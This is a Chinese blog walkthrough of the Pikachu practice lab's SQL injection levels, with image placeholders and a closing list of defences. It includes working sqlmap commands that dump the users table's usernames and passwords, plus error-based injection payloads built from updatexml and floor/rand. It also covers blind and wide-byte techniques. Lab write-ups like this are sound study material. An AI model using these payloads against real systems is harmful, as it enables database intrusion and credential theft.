Pikachu靶场通关实录-Sql Inject篇

0x01 简介

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。


0x02 数字型注入(POST)

SQL注入的手工注入已经在之前的DVWA靶场中做过详细的介绍了,因此皮卡丘靶场将使用sqlmap进行通关。POST请求方法并不会将正文体现在URL中,因此常规测试方法应该是使用BurpSuite进行抓包,然后到Repeater模块修改参数值进行注入点判断以及payload构造。


image.png

首先在BurpSuite中安装CO2这个插件,然后将POST抓下来之后,右键选择Send To SQLMapper


image.png

点击run
image.png

基本信息跑出来了


image.png

跑库名
image.png

库名为pikachu
image.png

跑表名
image.png

表名为 member、httpinfo、message、users 、xssblind
image.png

跑users表中的列名


image.png

列名为level、id、password、username
image.png

查询username和password
image.png

image.png

OK~

0x03 字符型注入(GET)

cmd中输入语句
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
可以看到数据库类型是MySQL,版本是大于5.6。

image.png

库名为pikachu
image.png

cmd中输入语句跑表名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables -batch
image.png

跑users表中的列名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
image.png

跑users表中的username和password数据
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "username,password" --dump --batch
image.png

收工~


0x04 搜索型注入

搜索型SQL注入与其他类型大同小异,无非是注意是否需要%进行闭合而已。


image.png

操作步骤与关卡相同。


0x05 xx型注入

这一关的关卡叫xx型注入,没明白是什么意思。看了下提示,是跟闭合有关的。那么是时候掏出我的判断闭合绝技了。

先使用单引号观察页面是否报错,再使用双引号观察页面是否报错
结合以上信息,进行判断:
1. 如果单引号页面报错,双引号页面也报错,那么该页面为数字型注入,无需闭合
2. 如果单引号页面报错,双引号页面不报错
    那么使用#注释掉后面的SQL语句,如果页面不报错,则该页面为单引号闭合
            如果页面仍然报错,则在单引号后面加括号,如本关的闭合为')。如果一个括号不够,那就再加一个,同理还需考虑花括号}和百分号%
3.如果单引号页面不报错,双引号页面报错
    那么使用#注释掉后面的SQL语句,如果页面不报错,则该页面为双引号闭合
            如果页面仍然报错,则在单引号后面加括号。如果一个括号不够,那就再加一个,同理还需考虑花括号}和百分号%

sqlmap直接跑一下就好了,步骤跟前面的关卡一样


image.png

0x06 insert/update注入

看到这一对关键词,猜测是二次注入。点了下提示,让自己先注册一个账号,那确定了是二次注入,二次注入是绕过GPC的一个非常有用的注入方法。
这里先注册一个' or updatexml(1,concat(0x7e,database(),0x7e),1) or '的用户,可以看到直接通过报错注入的语句爆出了表名

image.png

因为前面几关已经知道了表名列名,这里直接构造报错语句注出数据就好了。
'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
image.png


0x07 delete注入

关卡界面是一个留言板,随便输入点内容后抓包看看。

image.png

这里是可能存在注入的,发到repeater里试一下。
image.png

image.png

响应包的长度是不一样的,所以这里应该是个注入点,就不手工注入了,直接上sqlmap
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_del.php?id=468" -D pikachu -T users -C "username,password" --dump --batch
image.png


0x08 http头注入

这几个关卡其实原理都一样,只是在变换注入点而已。只要理解了注入产生的原理,过关还是很简单的。对于我这种新手来说,在所有看起来可能与数据库产生交互的地方都试一下就好。

image.png

image.png

两个响应包的大小不一样,所以我感觉这里存在注入,在确定下。
用and 1=1 和and 1=2 确定了该处存在SQL注入,并且使用单引号闭合。
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_header/sqli_header.php" --cookie "ant[uname]=admin;ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;PHPSESSID=9h01amnpbjpmm60m17fjjkc6e3" -D pikachu -T users -C "username,password" -dump --batch --level 2
image.png


0x09 基于boolian的盲注

盲注是最适合使用工具来跑结果的,因为页面没有直观的回显,所以需要一个字符一个字符的进行猜解。盲注的注入点判断过程与之前一致,只是在进行字符的猜解时,我一般是使用ASCII编码来对字符进行编码,这样可以不使用单引号。
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users- C "username,password" --dump --batch

image.png


0x10 基于时间的盲注

基于时间的盲注与布尔盲注原理差不多,布尔盲注是页面会返回正确与否的值,而时间盲注则是利用sleep函数来令页面延迟返回,都给了我们判断返回结果正确与否的方式。
sqlmap -u "[Get the pikachu](http://192.168.31.86/06/vul/sqli/sqli_blind_t.php?name=12&submit=%E6%9F%A5%E8%AF%A2) " -D pikachu -T users- C "username,password" --dump --batch

image.png


0x11 宽字节注入

宽字节也是绕过GPC的方式之一。在BIG5和GBK编码中,两个字节代表一个汉字,因此我们可以在%5c也就是/前面加上一个额外的编码如%df,来使mysql认为我们输入了%df%5c,从而把%5c吃掉,构造成了一个汉字。


image.png

使用了类似语句构造payload就OK了。


0x12 总结

  • 使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
  • 对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
  • 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
  • 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
  • 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  • 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
  • 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
  • 过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。

本文仅为个人学习时所作笔记,非标准答案,文中如有错误,烦请各位师傅批评指正。

你可能感兴趣的:(Pikachu靶场通关实录-Sql Inject篇)